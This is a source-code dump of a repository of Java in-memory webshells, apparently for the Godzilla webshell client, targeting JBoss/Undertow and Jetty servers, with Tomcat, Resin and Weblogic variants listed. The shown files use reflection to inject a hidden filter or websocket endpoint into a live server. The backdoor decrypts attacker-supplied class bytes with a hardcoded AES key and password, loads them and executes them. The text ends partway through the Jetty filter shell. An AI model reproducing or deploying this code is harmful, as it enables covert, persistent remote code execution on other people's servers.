├── GodzillaMemoryShellProject.iml
├── JBoosMemoryShell
├── JBoosMemoryShell.iml
└── src
│ ├── AesBase64JBossFilterShell.java
│ └── AesJBossWebsocketShell.java
├── JettyMemoryShell
├── JettyMemoryShell.iml
└── src
│ ├── AesBase64JettyFilterShell.java
│ ├── AesBase64JettyHandleShell.java
│ └── AesJettyWebsocketShell.java
├── README.md
├── ResinMemoryShell
├── ResinMemoryShell.iml
└── src
│ └── AesBase64ResinFilterShell.java
├── TomcatMemoryShell
├── TomcatMemoryShell.iml
└── src
│ ├── AesBase64TomcatListenerShell.java
│ └── AesTomcatWebsocketShell.java
├── WeblogicMemoryShell
├── WeblogicMemoryShell.iml
└── src
│ └── AesBase64WeblogicFilterShell.java
└── libs
├── servlet-api.jar
└── websocket-api.jar
/GodzillaMemoryShellProject.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/JBoosMemoryShell/JBoosMemoryShell.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/JBoosMemoryShell/src/AesBase64JBossFilterShell.java:
--------------------------------------------------------------------------------
1 | import java.io.PrintWriter;
2 | import java.lang.reflect.Field;
3 | import java.lang.reflect.InvocationHandler;
4 | import java.lang.reflect.Method;
5 | import java.util.ArrayList;
6 | import java.util.HashSet;
7 |
8 | //all version undertow/wildfly
9 | public class AesBase64JBossFilterShell extends ClassLoader implements InvocationHandler {
10 | private static Class payloadClass;
11 | private String key = "3c6e0b8a9c15224a";
12 | private String password = "pass";
13 |
14 |
15 | static {
16 | new AesBase64JBossFilterShell().addFilter();
17 | }
18 |
19 | public AesBase64JBossFilterShell(ClassLoader loader) {
20 | super(loader);
21 | }
22 |
23 | public AesBase64JBossFilterShell() {
24 |
25 | }
26 |
27 | private void addFilter() {
28 | try {
29 | Class servletFilterClass = null;
30 | try {
31 | servletFilterClass = loadClassEx("jakarta.servlet.Filter");
32 | } catch (Exception e) {
33 | try {
34 | servletFilterClass = loadClassEx("javax.servlet.Filter");
35 | } catch (ClassNotFoundException ex) {
36 | }
37 | }
38 | if (servletFilterClass != null) {
39 | addFilter(java.lang.reflect.Proxy.newProxyInstance(servletFilterClass.getClassLoader(), new Class[]{servletFilterClass}, this));
40 | }
41 | } catch (Throwable e) {
42 | }
43 | }
44 |
45 | private static Object[] getContexts() throws Throwable {
46 | HashSet contexts = new HashSet();
47 | Object servletRequestContext = loadClassEx("io.undertow.servlet.handlers.ServletRequestContext").getMethod("current").invoke(null);
48 | Object currentServletContext = servletRequestContext.getClass().getMethod("getCurrentServletContext").invoke(servletRequestContext);
49 | contexts.add(currentServletContext);
50 | return contexts.toArray();
51 | }
52 |
53 | private boolean addFilter(Object filter) throws Throwable {
54 | boolean isOk = false;
55 | try {
56 | Object[] obj = getContexts();
57 | for (int i = 0; i < obj.length; i++) {
58 | Object currentServletContext = obj[i];
59 | try {
60 | Class dispatcherTypeClass = null;
61 | try {
62 | dispatcherTypeClass = loadClassEx("jakarta.servlet.DispatcherType");
63 | } catch (ClassNotFoundException e) {
64 | dispatcherTypeClass = loadClassEx("javax.servlet.DispatcherType");
65 | }
66 |
67 | Class filterInfoClass = loadClassEx("io.undertow.servlet.api.FilterInfo");
68 | Class instanceFactoryClass = loadClassEx("io.undertow.servlet.api.InstanceFactory");
69 | Class immediateInstanceFactoryClass = loadClassEx("io.undertow.servlet.util.ImmediateInstanceFactory");
70 | Object deploymentInfo = getFieldValue(currentServletContext, "deploymentInfo");
71 | Object immediateInstanceFactory = immediateInstanceFactoryClass.getConstructor(Object.class).newInstance(filter);
72 | Class targetFilter = filter.getClass();
73 | Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class, instanceFactoryClass).newInstance(targetFilter.getName(), targetFilter, immediateInstanceFactory);
74 | deploymentInfo.getClass().getMethod("addFilter", filterInfoClass).invoke(deploymentInfo, filterInfo);
75 | Object deploymentImpl = getFieldValue(currentServletContext, "deployment");
76 | Object managedFilters = deploymentImpl.getClass().getMethod("getFilters").invoke(deploymentImpl);
77 | managedFilters.getClass().getMethod("addFilter", filterInfoClass).invoke(managedFilters, filterInfo);
78 | deploymentInfo.getClass().getMethod("insertFilterUrlMapping", int.class, String.class, String.class, dispatcherTypeClass).
79 | invoke(deploymentInfo, 0, targetFilter.getName(), "/*", Enum.valueOf(dispatcherTypeClass, "REQUEST"));
80 | isOk = true;
81 | } catch (Throwable e) {
82 |
83 | }
84 | }
85 | } catch (Throwable e) {
86 |
87 | }
88 |
89 |
90 | return isOk;
91 | }
92 |
93 | private static Class loadClassEx(String className) throws ClassNotFoundException {
94 | try {
95 | return Class.forName(className);
96 | } catch (Throwable e) {
97 | try {
98 | return Class.forName(className, true, Thread.currentThread().getContextClassLoader());
99 | } catch (Throwable ignored) {
100 | try {
101 | Thread[] threads = new Thread[Thread.activeCount()];
102 | Thread.enumerate(threads);
103 | for (int i = 0; i < threads.length; i++) {
104 | Thread thread = threads[i];
105 | if (thread == null) {
106 | continue;
107 | }
108 | try {
109 | ClassLoader loader = thread.getContextClassLoader();
110 | return loader.loadClass(className);
111 | } catch (Throwable ignored2) {
112 |
113 | }
114 |
115 | }
116 |
117 | } catch (Throwable ignored2) {
118 |
119 | }
120 | }
121 |
122 | }
123 | throw new ClassNotFoundException(className);
124 | }
125 |
126 | private static Field getField(Object obj, String fieldName) {
127 | Class clazz = null;
128 |
129 | if (obj == null) {
130 | return null;
131 | }
132 |
133 | if (obj instanceof Class) {
134 | clazz = (Class) obj;
135 | } else {
136 | clazz = obj.getClass();
137 | }
138 | Field field = null;
139 | while (clazz != null) {
140 | try {
141 | field = clazz.getDeclaredField(fieldName);
142 | clazz = null;
143 | } catch (Exception e) {
144 | clazz = clazz.getSuperclass();
145 | }
146 | }
147 |
148 | if (field != null) {
149 | field.setAccessible(true);
150 | }
151 |
152 | return field;
153 | }
154 |
155 | private static Object getFieldValue(Object obj, String fieldName) throws Exception {
156 | Field f = null;
157 | if (obj instanceof Field) {
158 | f = (Field) obj;
159 | } else {
160 | f = getField(obj, fieldName);
161 | }
162 | if (f != null) {
163 | return f.get(obj);
164 | }
165 | return null;
166 | }
167 |
168 |
169 | private byte[] aes(byte[] s, boolean m) {
170 | try {
171 | javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
172 | c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(key.getBytes(), "AES"));
173 | return c.doFinal(s);
174 | } catch (Exception e) {
175 | return null;
176 | }
177 | }
178 |
179 | private static String md5(String s) {
180 | String ret = null;
181 | try {
182 | java.security.MessageDigest m;
183 | m = java.security.MessageDigest.getInstance("MD5");
184 | m.update(s.getBytes(), 0, s.length());
185 | ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
186 | } catch (Exception e) {
187 | }
188 | return ret;
189 | }
190 |
191 | private static String base64Encode(byte[] bs) throws Exception {
192 | Class base64;
193 | String value = null;
194 | try {
195 | base64 = Class.forName("java.util.Base64");
196 | Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
197 | value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{
198 | byte[].class
199 | }).invoke(Encoder, new Object[]{
200 | bs
201 | });
202 | } catch (Exception e) {
203 | try {
204 | base64 = Class.forName("sun.misc.BASE64Encoder");
205 | Object Encoder = base64.newInstance();
206 | value = (String) Encoder.getClass().getMethod("encode", new Class[]{
207 | byte[].class
208 | }).invoke(Encoder, new Object[]{
209 | bs
210 | });
211 | } catch (Exception e2) {
212 | }
213 | }
214 | return value;
215 | }
216 |
217 | private static byte[] base64Decode(String bs) throws Exception {
218 | Class base64;
219 | byte[] value = null;
220 | try {
221 | base64 = Class.forName("java.util.Base64");
222 | Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
223 | value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{
224 | String.class
225 | }).invoke(decoder, new Object[]{
226 | bs
227 | });
228 | } catch (Exception e) {
229 | try {
230 | base64 = Class.forName("sun.misc.BASE64Decoder");
231 | Object decoder = base64.newInstance();
232 | value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{
233 | String.class
234 | }).invoke(decoder, new Object[]{
235 | bs
236 | });
237 | } catch (Exception e2) {
238 | }
239 | }
240 | return value;
241 | }
242 |
243 | private Object invokeMethod(Object obj, String methodName, Object... parameters) {
244 | try {
245 | ArrayList classes = new ArrayList();
246 | if (parameters != null) {
247 | for (int i = 0; i < parameters.length; i++) {
248 | Object o1 = parameters[i];
249 | if (o1 != null) {
250 | classes.add(o1.getClass());
251 | } else {
252 | classes.add(null);
253 | }
254 | }
255 | }
256 | Method method = getMethodByClass(obj.getClass(), methodName, (Class[]) classes.toArray(new Class[]{}));
257 |
258 | return method.invoke(obj, parameters);
259 | } catch (Throwable e) {
260 | // e.printStackTrace();
261 | }
262 | return null;
263 | }
264 |
265 | private Method getMethodByClass(Class cs, String methodName, Class... parameters) {
266 | Method method = null;
267 | while (cs != null) {
268 | try {
269 | method = cs.getMethod(methodName, parameters);
270 | cs = null;
271 | } catch (Exception e) {
272 | cs = cs.getSuperclass();
273 | }
274 | }
275 |
276 | if (method != null) {
277 | try {
278 | method.setAccessible(true);
279 | } catch (Throwable e) {
280 |
281 | }
282 | }
283 |
284 | return method;
285 | }
286 |
287 | private String getParameter(Object requestObject, String name) {
288 | return (String) invokeMethod(requestObject, "getParameter", name);
289 | }
290 |
291 | private String getContentType(Object requestObject) {
292 | return (String) invokeMethod(requestObject, "getContentType");
293 | }
294 |
295 | @Override
296 | public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
297 | if (method.getName().equals("doFilter")) {
298 | Object servletRequest = args[0];
299 | Object servletResponse = args[1];
300 | Object filterChain = args[2];
301 | if (!run(servletRequest, servletResponse)) {
302 | Class requestClass = method.getParameterTypes()[0];
303 | Class responseClass = method.getParameterTypes()[1];
304 |
305 | getMethodByClass(filterChain.getClass(), "doFilter", requestClass, responseClass).invoke(filterChain, servletRequest, servletResponse);
306 | }
307 | }
308 | return null;
309 | }
310 |
311 | private boolean run(Object request, Object response) {
312 | try {
313 | try {
314 | String contentType = getContentType(request);
315 | if (contentType != null && contentType.contains("application/x-www-form-urlencoded")) {
316 | String value = getParameter(request, password);
317 | if (value != null) {
318 | byte[] data = base64Decode(value);
319 | data = aes(data, false);
320 | if (data != null && data.length > 0) {
321 | if (payloadClass == null) {
322 | ClassLoader loader = Thread.currentThread().getContextClassLoader();
323 | if (loader == null) {
324 | loader = request.getClass().getClassLoader();
325 | }
326 |
327 | payloadClass = new AesBase64JBossFilterShell(loader).defineClass(data, 0, data.length);
328 | } else {
329 | java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
330 | Object f = payloadClass.newInstance();
331 | f.equals(arrOut);
332 | f.equals(request);
333 | f.equals(data);
334 | f.toString();
335 | String md5 = md5(password + key);
336 | if (arrOut.size() > 0) {
337 | PrintWriter printWriter = (PrintWriter) invokeMethod(response, "getWriter");
338 | printWriter.write(md5.substring(0, 16));
339 | printWriter.write(base64Encode(aes(arrOut.toByteArray(), true)));
340 | printWriter.write(md5.substring(16));
341 | return true;
342 | }
343 | }
344 | }
345 | }
346 | }
347 |
348 | } catch (Throwable ignored) {
349 | }
350 | } catch (Throwable ignored) {
351 |
352 | }
353 | return false;
354 | }
355 | }
356 |
--------------------------------------------------------------------------------
/JBoosMemoryShell/src/AesJBossWebsocketShell.java:
--------------------------------------------------------------------------------
1 | import javax.servlet.ServletContext;
2 | import javax.websocket.Endpoint;
3 | import javax.websocket.EndpointConfig;
4 | import javax.websocket.MessageHandler;
5 | import javax.websocket.Session;
6 | import javax.websocket.server.ServerContainer;
7 | import javax.websocket.server.ServerEndpointConfig;
8 | import java.io.ByteArrayOutputStream;
9 | import java.io.IOException;
10 | import java.lang.reflect.Field;
11 | import java.lang.reflect.Method;
12 | import java.net.URL;
13 | import java.net.URLClassLoader;
14 | import java.nio.ByteBuffer;
15 | import java.util.HashSet;
16 |
17 | public class AesJBossWebsocketShell extends Endpoint implements MessageHandler.Whole{
18 | private static boolean initialized = false;
19 | private static final Object lock = new Object();
20 | private Class payload = null;
21 | private Session session = null;
22 | private String xc = "3c6e0b8a9c15224a";
23 | private String pass = "pass";
24 |
25 |
26 | static {
27 | new AesJBossWebsocketShell();
28 | }
29 |
30 | public AesJBossWebsocketShell(){
31 | synchronized (lock){
32 | if (!initialized){
33 | initialized = true;
34 | try {
35 | addEndpoint(this);
36 | }catch (Throwable ignored){
37 |
38 | }
39 | }
40 | }
41 | }
42 |
43 | public AesJBossWebsocketShell(Session session){
44 | this.session = session;
45 | }
46 |
47 | public static Object[] getContexts() throws Throwable {
48 | HashSet contexts = new HashSet();
49 | Object servletRequestContext = loadClassEx("io.undertow.servlet.handlers.ServletRequestContext").getMethod("current").invoke(null);
50 | Object currentServletContext= servletRequestContext.getClass().getMethod("getCurrentServletContext").invoke(servletRequestContext);
51 | contexts.add(currentServletContext);
52 | return contexts.toArray();
53 | }
54 | private boolean addEndpoint(Endpoint endpoint) throws Throwable {
55 | Object[] contexts = getContexts();
56 |
57 | boolean isOk = false;
58 |
59 | try {
60 | for (int i = 0; i < contexts.length; i++) {
61 | Object context = contexts[i];
62 | try {
63 | ServletContext servletContext = (ServletContext) context;
64 | int maxBinaryMessageBufferSize = 10485760;
65 | String websocketPath = String.format("/%s",pass);
66 | ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(endpoint.getClass(),websocketPath).build();
67 | ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
68 | Field deploymentCompleteField = getField(container,"deploymentComplete");
69 | try {
70 | try {
71 | if (deploymentCompleteField!=null){
72 | deploymentCompleteField.set(container,false);
73 | }
74 | }catch (Throwable e){
75 |
76 | }
77 |
78 | if (container.getDefaultMaxBinaryMessageBufferSize() < maxBinaryMessageBufferSize){
79 | container.setDefaultMaxBinaryMessageBufferSize(maxBinaryMessageBufferSize);
80 | }
81 | container.addEndpoint(configEndpoint);
82 |
83 | isOk = true;
84 |
85 | if (deploymentCompleteField!=null){
86 | deploymentCompleteField.set(container,true);
87 | }
88 |
89 | } catch (Throwable e) {
90 | }
91 | } catch (Throwable e) {
92 |
93 | }
94 | }
95 | }catch (Throwable e){
96 |
97 | }
98 |
99 |
100 |
101 | return isOk;
102 | }
103 |
104 | public static Field getField(Object obj, String fieldName){
105 | Class clazz = null;
106 |
107 | if(obj == null){
108 | return null;
109 | }
110 |
111 | if (obj instanceof Class){
112 | clazz = (Class)obj;
113 | }else {
114 | clazz = obj.getClass();
115 | }
116 | Field field = null;
117 | while (clazz!=null){
118 | try {
119 | field = clazz.getDeclaredField(fieldName);
120 | clazz = null;
121 | }catch (Exception e){
122 | clazz = clazz.getSuperclass();
123 | }
124 | }
125 |
126 | if (field != null){
127 | field.setAccessible(true);
128 | }
129 |
130 | return field;
131 | }
132 |
133 | static Class loadClassEx(String className) throws ClassNotFoundException{
134 | try {
135 | return Class.forName(className);
136 | } catch (Throwable e) {
137 | try {
138 | return Class.forName(className, true, Thread.currentThread().getContextClassLoader());
139 | } catch (Throwable ignored) {
140 | try {
141 | Thread[] threads = new Thread[Thread.activeCount()];
142 | Thread.enumerate(threads);
143 | for (int i = 0; i < threads.length; i++) {
144 | Thread thread = threads[i];
145 | if (thread == null) {
146 | continue;
147 | }
148 | try {
149 | ClassLoader loader = thread.getContextClassLoader();
150 | return loader.loadClass(className);
151 | } catch (Throwable ignored2) {
152 |
153 | }
154 |
155 | }
156 |
157 | } catch (Throwable ignored2) {
158 |
159 | }
160 | }
161 |
162 | }
163 | throw new ClassNotFoundException(className);
164 | }
165 |
166 | public static Object getFieldValue(Object obj, String fieldName) throws Exception {
167 | Field f=null;
168 | if (obj instanceof Field){
169 | f=(Field)obj;
170 | }else {
171 | f = getField(obj, fieldName);
172 | }
173 | if (f != null) {
174 | return f.get(obj);
175 | }
176 | return null;
177 | }
178 | public byte[] aes(byte[] s,boolean m){
179 | try{
180 | javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");
181 | c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));
182 | return c.doFinal(s);
183 | }catch (Exception e){
184 | return null;
185 | }
186 | }
187 |
188 | public void onOpen(Session session, EndpointConfig endpointConfig) {
189 | session.addMessageHandler(new AesJBossWebsocketShell(session));
190 | }
191 |
192 | private Class defClass(byte[] classBytes) throws Throwable {
193 | URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], AesJBossWebsocketShell.class.getClassLoader());
194 | Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
195 | defineClassMethod.setAccessible(true);
196 | return (Class) defineClassMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length);
197 | }
198 |
199 | public void onMessage(ByteBuffer byteBuffer) {
200 | try {
201 | int limit = byteBuffer.limit();
202 | byte[] data = new byte[limit];
203 | byteBuffer.get(data,0,limit);
204 | data = aes(data,false);
205 | byte[] response = new byte[0];
206 | if (payload == null) {
207 | payload = defClass(data);
208 | }else {
209 | ByteArrayOutputStream bos = new ByteArrayOutputStream();
210 | Object obj = payload.newInstance();
211 | obj.equals(data);
212 | obj.equals(bos);
213 | obj.toString();
214 | response = bos.toByteArray();
215 | }
216 | session.getBasicRemote().sendBinary(ByteBuffer.wrap(aes(response,true)));
217 | }catch (Throwable e){
218 | try {
219 | session.close();
220 | } catch (IOException ex) {
221 |
222 | }
223 | }
224 | }
225 | }
226 |
--------------------------------------------------------------------------------
/JettyMemoryShell/JettyMemoryShell.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/JettyMemoryShell/src/AesBase64JettyFilterShell.java:
--------------------------------------------------------------------------------
1 | import java.io.PrintWriter;
2 | import java.lang.reflect.*;
3 | import java.util.*;
4 |
5 | //jetty7-12 test
6 | public class AesBase64JettyFilterShell extends ClassLoader implements InvocationHandler {
7 | private static Class payloadClass;
8 | private String key = "3c6e0b8a9c15224a";
9 | private String password = "pass";
10 |
11 |
12 | static {
13 | new AesBase64JettyFilterShell().addFilter();
14 | }
15 |
16 | public AesBase64JettyFilterShell(ClassLoader loader) {
17 | super(loader);
18 | }
19 |
20 | public AesBase64JettyFilterShell() {
21 |
22 | }
23 |
24 | private void addFilter() {
25 | try {
26 | addFilter(this);
27 | } catch (Throwable e) {
28 |
29 | }
30 | }
31 |
32 | private Class loadClasses(String className) throws ClassNotFoundException {
33 | ArrayList classLoaders = new ArrayList();
34 | classLoaders.add(this.getClass().getClassLoader());
35 | try {
36 | classLoaders.add(Thread.currentThread().getContextClassLoader());
37 | ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
38 | int threadCount = threadGroup.activeCount();
39 | Thread[] threads = new Thread[threadCount];
40 | threadCount = threadGroup.enumerate(threads);
41 | for (int i = 0; i < threadCount; i++) {
42 | classLoaders.add(threads[i].getContextClassLoader());
43 | }
44 | } catch (Exception e) {
45 |
46 | }
47 | int loaders = classLoaders.size();
48 | for (int i = 0; i < loaders; i++) {
49 | ClassLoader loader = (ClassLoader) classLoaders.get(i);
50 | if (loader != null) {
51 | try {
52 | return Class.forName(className, true, loader);
53 | } catch (Throwable e) {
54 |
55 | }
56 | }
57 | }
58 | return Class.forName(className);
59 | }
60 |
61 |
62 | private Object[] getObjectValues(Object obj, Class clazz) {
63 | HashSet values = new HashSet();
64 |
65 | try {
66 | if (clazz == null) {
67 | clazz = obj.getClass();
68 | }
69 | Field[] fields = obj.getClass().getDeclaredFields();
70 |
71 | for (int i = 0; i < fields.length; i++) {
72 | try {
73 | Field field = fields[i];
74 | field.setAccessible(true);
75 | Object object = field.get(obj);
76 | if (object != null) {
77 | values.add(object);
78 | }
79 | } catch (Throwable ignored) {
80 |
81 | }
82 | }
83 | clazz = clazz.getSuperclass();
84 | if (clazz != null) {
85 | getObjectValues(obj, clazz);
86 | }
87 | } catch (Throwable ignored) {
88 |
89 | }
90 |
91 | return values.toArray();
92 | }
93 |
94 | private void getHandles(HashSet handles, Object handle, Class handlerClass) {
95 | if (handle == null || handles.contains(handle)) {
96 | return;
97 | }
98 | handles.add(handle);
99 |
100 | Object[] objects = getObjectValues(handle, handle.getClass());
101 | for (int i = 0; i < objects.length; i++) {
102 | Object object = objects[i];
103 | if (handlerClass.isInstance(object)) {
104 | getHandles(handles, object, handlerClass);
105 | }
106 | }
107 |
108 | Object newHandleObject = invokeMethod(handle, "getHandlers");
109 | if (newHandleObject != null) {
110 | if (Collection.class.isInstance(newHandleObject)) {
111 | newHandleObject = ((Collection) newHandleObject).toArray();
112 | }
113 | if (newHandleObject.getClass().isArray()) {
114 | int handleSize = Array.getLength(newHandleObject);
115 | for (int i = 0; i < handleSize; i++) {
116 | getHandles(handles, Array.get(newHandleObject, i), handlerClass);
117 | }
118 | }
119 | }
120 | }
121 |
122 | private Object[] getHandles() {
123 | HashSet handles = new HashSet();
124 |
125 | try {
126 | Class contextHandlerClass = loadClasses("org.eclipse.jetty.server.handler.ContextHandler");
127 | Method getCurrentContextMethod = getMethodByClass(contextHandlerClass, "getCurrentContext");
128 | Object context = getCurrentContextMethod.invoke(null);
129 |
130 | Object webAppContext = invokeMethod(context, "getContextHandler");
131 | Object jettyServer = invokeMethod(webAppContext, "getServer");
132 |
133 | Class handlerClass = contextHandlerClass.getClassLoader().loadClass("org.eclipse.jetty.server.Handler");
134 |
135 | getHandles(handles, context, handlerClass);
136 | getHandles(handles, webAppContext, handlerClass);
137 | getHandles(handles, jettyServer, handlerClass);
138 |
139 | Thread[] threads = new Thread[Thread.activeCount()];
140 | Thread.enumerate(threads);
141 | for (int i = 0; i < threads.length; i++) {
142 | Thread thread = threads[i];
143 | if (thread != null) {
144 | getHandles(handles, thread.getContextClassLoader(), handlerClass);
145 | }
146 | }
147 | } catch (Throwable e) {
148 |
149 | }
150 | return handles.toArray();
151 | }
152 |
153 | private boolean addFilter(InvocationHandler filterInvocationHandler) throws Throwable {
154 | boolean isOk = false;
155 | try {
156 | Object[] obj = getHandles();
157 | for (int i = 0; i < obj.length; i++) {
158 | Object handlerObject = obj[i];
159 | try {
160 | Class handlerClass = handlerObject.getClass();
161 | Field _filtersField = getField(handlerObject, "_filters");
162 | Field _filterMappingsField = getField(handlerObject, "_filterMappings");
163 | if (_filtersField == null || _filterMappingsField == null) {
164 | continue;
165 | }
166 |
167 |
168 | Class filterHolderClass = null;
169 | Class filterMappingClass = null;
170 |
171 | if (_filtersField.getType().isArray()) {
172 | filterHolderClass = _filtersField.getType().getComponentType();
173 | } else {
174 | filterHolderClass = (Class) ((ParameterizedType) _filtersField.getGenericType()).getActualTypeArguments()[0];
175 | }
176 |
177 | if (_filterMappingsField.getType().isArray()) {
178 | filterMappingClass = _filterMappingsField.getType().getComponentType();
179 | } else {
180 | filterMappingClass = (Class) ((ParameterizedType) _filterMappingsField.getGenericType()).getActualTypeArguments()[0];
181 | }
182 |
183 | Class servletRequestFilterClass = null;
184 | Constructor filterHolderConstructor = null;
185 | try {
186 | servletRequestFilterClass = loadClasses("jakarta.servlet.Filter");
187 | filterHolderConstructor = filterHolderClass.getConstructor(servletRequestFilterClass);
188 | } catch (Exception e) {
189 | try {
190 | servletRequestFilterClass = loadClasses("javax.servlet.Filter");
191 | filterHolderConstructor = filterHolderClass.getConstructor(servletRequestFilterClass);
192 | } catch (ClassNotFoundException ex) {
193 |
194 | }
195 | }
196 |
197 |
198 | Object filter = Proxy.newProxyInstance(servletRequestFilterClass.getClassLoader(), new Class[]{servletRequestFilterClass}, filterInvocationHandler);
199 | Object filterHolder = filterHolderConstructor.newInstance(filter);
200 | Object filterMapping = filterMappingClass.newInstance();
201 | Method setFilterHolderMethod = filterMappingClass.getDeclaredMethod("setFilterHolder", filterHolderClass);
202 | setFilterHolderMethod.setAccessible(true);
203 | setFilterHolderMethod.invoke(filterMapping, filterHolder);
204 | filterMappingClass.getMethod("setPathSpecs", String[].class).invoke(filterMapping, new Object[]{new String[]{"/*"}});
205 |
206 |
207 | getMethodByClass(handlerClass, "addFilter", filterHolderClass).invoke(handlerObject, filterHolder);
208 | getMethodByClass(handlerClass, "prependFilterMapping", filterMappingClass).invoke(handlerObject, filterMapping);
209 | isOk = true;
210 | } catch (Throwable e) {
211 |
212 | }
213 | }
214 | } catch (Throwable e) {
215 |
216 | }
217 |
218 |
219 | return isOk;
220 | }
221 |
222 |
223 | public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
224 | if (method.getName().equals("doFilter")) {
225 | Object servletRequest = args[0];
226 | Object servletResponse = args[1];
227 | Object filterChain = args[2];
228 | if (!run(servletRequest, servletResponse)) {
229 | Class requestClass = method.getParameterTypes()[0];
230 | Class responseClass = method.getParameterTypes()[1];
231 |
232 | getMethodByClass(filterChain.getClass(), "doFilter", requestClass, responseClass).invoke(filterChain, servletRequest, servletResponse);
233 | }
234 | }
235 | return null;
236 | }
237 |
238 | private Object invokeMethod(Object obj, String methodName, Object... parameters) {
239 | try {
240 | ArrayList classes = new ArrayList();
241 | if (parameters != null) {
242 | for (int i = 0; i < parameters.length; i++) {
243 | Object o1 = parameters[i];
244 | if (o1 != null) {
245 | classes.add(o1.getClass());
246 | } else {
247 | classes.add(null);
248 | }
249 | }
250 | }
251 | Method method = getMethodByClass(obj.getClass(), methodName, (Class[]) classes.toArray(new Class[]{}));
252 |
253 | return method.invoke(obj, parameters);
254 | } catch (Throwable e) {
255 | // e.printStackTrace();
256 | }
257 | return null;
258 | }
259 |
260 | private Method getMethodByClass(Class cs, String methodName, Class... parameters) {
261 | Method method = null;
262 | while (cs != null) {
263 | try {
264 | method = cs.getMethod(methodName, parameters);
265 | cs = null;
266 | } catch (Exception e) {
267 | cs = cs.getSuperclass();
268 | }
269 | }
270 |
271 | if (method != null) {
272 | try {
273 | method.setAccessible(true);
274 | } catch (Throwable e) {
275 |
276 | }
277 | }
278 |
279 | return method;
280 | }
281 |
282 | private static Field getField(Object obj, String fieldName) {
283 | Class clazz = null;
284 |
285 | if (obj == null) {
286 | return null;
287 | }
288 |
289 | if (obj instanceof Class) {
290 | clazz = (Class) obj;
291 | } else {
292 | clazz = obj.getClass();
293 | }
294 | Field field = null;
295 | while (clazz != null) {
296 | try {
297 | field = clazz.getDeclaredField(fieldName);
298 | clazz = null;
299 | } catch (Exception e) {
300 | clazz = clazz.getSuperclass();
301 | }
302 | }
303 |
304 | if (field != null) {
305 | field.setAccessible(true);
306 | }
307 |
308 | return field;
309 | }
310 |
311 | private String getParameter(Object requestObject, String name) {
312 | return (String) invokeMethod(requestObject, "getParameter", name);
313 | }
314 |
315 | private String getContentType(Object requestObject) {
316 | return (String) invokeMethod(requestObject, "getContentType");
317 | }
318 |
319 |
320 | private byte[] aes(byte[] s, boolean m) {
321 | try {
322 | javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
323 | c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(key.getBytes(), "AES"));
324 | return c.doFinal(s);
325 | } catch (Exception e) {
326 | return null;
327 | }
328 | }
329 |
330 | private static String md5(String s) {
331 | String ret = null;
332 | try {
333 | java.security.MessageDigest m;
334 | m = java.security.MessageDigest.getInstance("MD5");
335 | m.update(s.getBytes(), 0, s.length());
336 | ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
337 | } catch (Exception e) {
338 | }
339 | return ret;
340 | }
341 |
342 | private static String base64Encode(byte[] bs) throws Exception {
343 | Class base64;
344 | String value = null;
345 | try {
346 | base64 = Class.forName("java.util.Base64");
347 | Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
348 | value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
349 | } catch (Exception e) {
350 | try {
351 | base64 = Class.forName("sun.misc.BASE64Encoder");
352 | Object Encoder = base64.newInstance();
353 | value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
354 | } catch (Exception e2) {
355 | }
356 | }
357 | return value;
358 | }
359 |
360 | private static byte[] base64Decode(String bs) throws Exception {
361 | Class base64;
362 | byte[] value = null;
363 | try {
364 | base64 = Class.forName("java.util.Base64");
365 | Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
366 | value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
367 | } catch (Exception e) {
368 | try {
369 | base64 = Class.forName("sun.misc.BASE64Decoder");
370 | Object decoder = base64.newInstance();
371 | value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
372 | } catch (Exception e2) {
373 | }
374 | }
375 | return value;
376 | }
377 |
378 | private boolean run(Object request, Object response) {
379 | try {
380 | try {
381 | String contentType = getContentType(request);
382 | if (contentType != null && contentType.contains("application/x-www-form-urlencoded")) {
383 | String value = getParameter(request, password);
384 | if (value != null) {
385 | byte[] data = base64Decode(value);
386 | data = aes(data, false);
387 | if (data != null && data.length > 0) {
388 | if (payloadClass == null) {
389 | ClassLoader loader = Thread.currentThread().getContextClassLoader();
390 | if (loader == null) {
391 | loader = request.getClass().getClassLoader();
392 | }
393 |
394 | payloadClass = new AesBase64JettyFilterShell(loader).defineClass(data, 0, data.length);
395 | } else {
396 | java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
397 | Object f = payloadClass.newInstance();
